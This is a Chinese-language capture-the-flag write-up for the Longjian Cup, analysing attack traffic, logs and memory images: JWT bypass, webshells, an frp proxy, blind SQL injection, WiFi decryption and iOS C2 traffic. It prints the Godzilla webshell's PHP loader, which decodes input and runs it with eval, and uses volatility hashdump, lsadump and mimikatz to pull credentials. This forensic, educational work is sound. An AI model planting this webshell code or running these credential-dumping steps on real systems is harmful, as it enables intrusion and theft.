陇剑杯部分Write-up

2021-10-08 15:21:22 浏览数 (1)

主要考察抓包分析、web安全、无线安全、内存取证分析、加密解密。难度最大的是无线安全、内存取证分析、加密解密。

JWT

该网站使用了______认证方式。(如有字母请全部使用小写)

题目分类已经提示很清楚了是JWT认证方式,看具体数据包内容的token也是分为三段式(Header、Payload、Signature)符合JWT特征。

黑客绕过验证使用的jwt中,id和username是____。(中间使用#号隔开,例如1#admin)

寻找命令成功执行数据流中的token,下图是命令为成功执行示例

命令执行成功如下效果(一般数据包最底部都会有成功执行的结果):

把token进行base64解码或寻找JWT解码工具皆可:

黑客获取webshell之后,权限是______?

获取用户权限命令一般是whoami,在数据中进行搜索且取最下层(序列号大的)数据:

黑客上传的恶意文件文件名是____。(请提交带有文件后缀的文件名,例如x.txt)

由前文可知命令执行的目录是/exec且上传文件,数据包大小相对会较大些。按照/exec和数据大小进行过滤:

黑客在服务器上编译的恶意so文件,文件名是____。(请提交带有文件后缀的文件名,例如x.so)

直接数据包搜索so关键字就可以得出结果:

黑客在服务器上修改了一个配置文件,文件的绝对路径为____。(请确认绝对路径后再提交)

熟悉linux的同学应该都清楚,配置文件根目录一般是/etc下,搜索其关键字:

Webshell

黑客登录系统使用的密码是____

一般密码关键字是password或者passwd等等,几乎包含都pass,搜索其关键字:

再将其urldecode即可得到。

黑客修改了一个日志文件,文件的绝对路径为___。(请确认绝对路径后再提交)

对数据包搜索.log后缀关键字:

现在得到相对路径,还需要寻找网站目录。上传shell脚本之后一般会执行dir或pwd命令查看所在目录。因此搜索其关键字并追踪数据流:

黑客获取webshell之后,权限是_www-data__?

上一问已得到结果

黑客写入的webshell文件名是_____。(请提交带有文件后缀的文件名,例如x.txt)

上一问已得到结果

黑客上传的代理工具客户端名字是____。(如有字母请全部使用小写)

因需观察日志,数据实时转码,这里使用科来专家组件方便观察:

对比一下三个包:

观察以上3个包,黑客上传frpc工具的frpc.ini配置文件

黑客代理工具的回连服务端IP是_____。

根据上一问分析可知需要把第二包蚁剑数据内容进行解密:

先把POST数据内容进行urlcode解码得到结果如下:

上图两处关键代码表示:第一段表示从&第一个参数第三位数据解码,&第二个参数代表buf内容添加%后urldecode解码。不过也可直接hex解码

黑客的socks5的连接账号、密码是___。(中间使用#号隔开,例如admin#passwd)

上一问已有结果

日志分析

网络存在源码泄漏,源码文件名是____。(请提交带有文件后缀的文件名,例如x.txt)

扫描文件存在一般返回200,搜索关键字:

分析攻击流量,黑客往/tmp目录写入一个文件,文件名为___。

对日志文件搜索tmp关键字:

分析攻击流量,黑客使用的是___类读取了秘密文件。

上一问已有结果

内存分析

第一个问题是虚拟机的密码是____(密码中为flag{xxxx},含有空格,提交时不要去掉)

使用内存取证工具volatility进行分析,kali安装方式:

代码语言:javascript复制
pip2 install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple

git clone https://github.com/gdabah/distorm.git

cd distorm3/

python setup.py install

git clone https://github.com/volatilityfoundation/volatility.git

python setup.py install

pip2 list 进行确认,出现下图结果即可正常使用。

代码语言:javascript复制
vol.py -f Target.vmem imageinfo 
代码语言:javascript复制
vol.py -f Target.vmem --profile=Win7SP1x64hashdump

把be5593366cb1019400210101581e5d0d拿去hash解密失败

使用lsadump进行查看

vol.py -f Target.vmem --profile=Win7SP1x64lsadump

也可使用mimikatz插件进行直接查看,对tool-for-CTF项目下载,地址为:

代码语言:javascript复制
https://github.com/ruokeqx/tool-for-CTF/tree/master/volatility_plugins

搜索原生插件路径,把mimikatz.py添加进去,如imageinfo

放在上图两个目录下即可使用。

第二个问题是虚拟机备份的手机文件里图片中的字符串是____(解题过程中需要用到上一题答案中flag{}内的内容进行处理。本题的格式也是flag{xxx},含有空格,提交时不要去掉)

代码语言:javascript复制
vol.py -f Target.vmem --profile=Win7SP1x64filescan | grep "jpg|jpeg|png|tif|gif|bmp"

过滤图片文件,结果没有找到。

按照CTF出题习惯一般会放在桌面或用户目录下,所以先搜索Desktop关键字

代码语言:javascript复制
vol.py -f Target.vmem --profile=Win7SP1x64filescan | grep "Desktop"

找到了题目中手机文件的提示要求的文件。

把上图文件进行导出

exe文件是自解压文件,双击后得到

还原HUAWEI文件需要使用kobackupdec工具,下载地址:

代码语言:javascript复制
git clone https://github.com/RealityNet/kobackupdec.git

安装依赖库

代码语言:javascript复制
pip3 install pycryptodome==3.5
pip3 install cx_Freeze

根据题目提示密码为flag内容,还需把空格替换成下划线:

代码语言:javascript复制
cd kobackupdec
python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCXHUAWEI_P40_2021-aa-bb_xx.yy.zz /root/backup1

打开/root/backup1压缩包中的图片即可得到flag

简单日志分析

黑客攻击的参数是___。(如有字母请全部使用小写)

php站点一般参数含有?,搜索其关键字:

黑客查看的秘密文件的绝对路径是___。

对上一问攻击参数内容进行base64解码尝试:

黑客反弹shell的ip和端口是____。(格式使用“ip:端口",例如127.0.0.1:2333)

继续搜索攻击参数

继续对内容先urlcode解码再base64解码

SQL注入

黑客在注入过程中采用的注入手法叫____。(格式为4个汉字,例如“拼搏努力”)

先把日志文件全文进行urlcode解码,可以直接看出是盲注

黑客在注入过程中,最终获取flag的数据库名、表名和字段名是____。(格式为“数据库名#表名#字段名”,例如database#table#column)

找日志底部,可以得出结论

黑客最后获取到的flag字符串为___。

通过日志文件可以看出是使用=进行一一比对,遇到相等即匹配不继续遍历,最终得到结果。

Wifi

小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)

此题有3个文件,看到vmem文件肯定是继续像内存分析当时的方式一样扔到volatility跑一下看看。

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmemimageinfo

查看cmd命令记录:

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 cmdscan

看到了把wireless信息进行了导入导出。因此再根据题目提示搜索压缩包后缀

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 filescan | grep -E "tar|zip"
代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D ./

打开压缩包看被加密的文件是无线网络连接信息和前面cmd的记录匹配上,右侧有密码提示,根据密提示提示寻找网卡GUID

代码语言:javascript复制
vol.py -f Windows 7-dde00fa9.vmem--profile=Win7SP1x86_23418 filescan | grep "Interfaces"

成功进行解压,打开xml文件,得到密码:

使用Kali自带工具airdecap-ng对客户端数据解密:

代码语言:javascript复制
airdecap-ng -e My_Wifi -p 233@114514_qweclient.cap

解密前客户端数据包看到的结果:

解密后客户端数据包看到的结果:

打开服务端数据包,看到有哥斯拉传shell流量:

对内容解密得到:哥斯拉shell的初始化

代码语言:javascript复制
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
   for($i=0;$i<strlen($D);$i  ) {
       $c = $K[$i 1&15];
       $D[$i] = $D[$i]^$c;
    }
   return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
   $data=encode(base64_decode($_POST[$pass]),$key);
   if (isset($_SESSION[$payloadName])){
       $payload=encode($_SESSION[$payloadName],$key);
       eval($payload);
       echo substr(md5($pass.$key),0,16);
       echo base64_encode(encode(@run($data),$key));
       echo substr(md5($pass.$key),16);
   }else{
       if (stripos($data,"getBasicsInfo")!==false){
           $_SESSION[$payloadName]=encode($data,$key);
       }
    }
}

使用科来专家分析组件打开客户端最后一个会话流

去掉前面的16位和后面的16位,具体原来可参考freebuf文章(哥斯拉Godzilla加密流量分析)地址为:

代码语言:javascript复制
https://www.freebuf.com/sectool/285693.html

得到

代码语言:javascript复制
fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB BlWZhjRlQuTIIB5jMTU=

我使用phpstudy环境运行php 执行以下内容,

代码语言:javascript复制
function encode($D,$K){
   for($i=0;$i<strlen($D);$i  ) {
       $c = $K[$i 1&15];
       $D[$i] = $D[$i]^$c;
    }
   return $D;
}
$a='fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB BlWZhjRlQuTIIB5jMTU=';
echogzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));

得到flag

IOS

黑客所控制的C&C服务器IP是________。

用wireshark导入keylog文件,对TLS流量进行解密

根据数据包序号从大到小倒序进行查看,可得结果:

黑客利用的Github开源项目的名字是______。(如有字母请全部使用小写)

尝试搜索github关键字,得到结果:

通讯加密密钥的明文是________。

秉着“黑客”不做无用之功的精神,搜索下载ios_agent关键字,可得到结果:

黑客通过SQL盲注拿到了一个敏感数据,内容是________。

不断的翻看流量数据包,可以看到还有http2协议的流量,进行过滤,导出http日志

对CSV的info字段过滤/info信息

把info列的内容提取到notepad 中且进行urldecode解码:

下面的操作和前面SQL注入HEX->ASCII得到flag的方法一样

黑客端口扫描的扫描器的扫描范围是____________。(格式使用“开始端口-结束端口”,例如1-65535)

对目标地址192.168.1.12进行过滤,发现端口范围是10-499

黑客访问/攻击了内网的几个服务器,IP地址为____________。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)

查看访问日志,有172.28.0.2地址被传webshell,结合前面192.168.1.12,所有这两个地址。

172.28.0.2#192.168.1.12

黑客写入了一个webshell,其密码为__________。

从上图可知结果为参数fxxk,即为小马密码

0 人点赞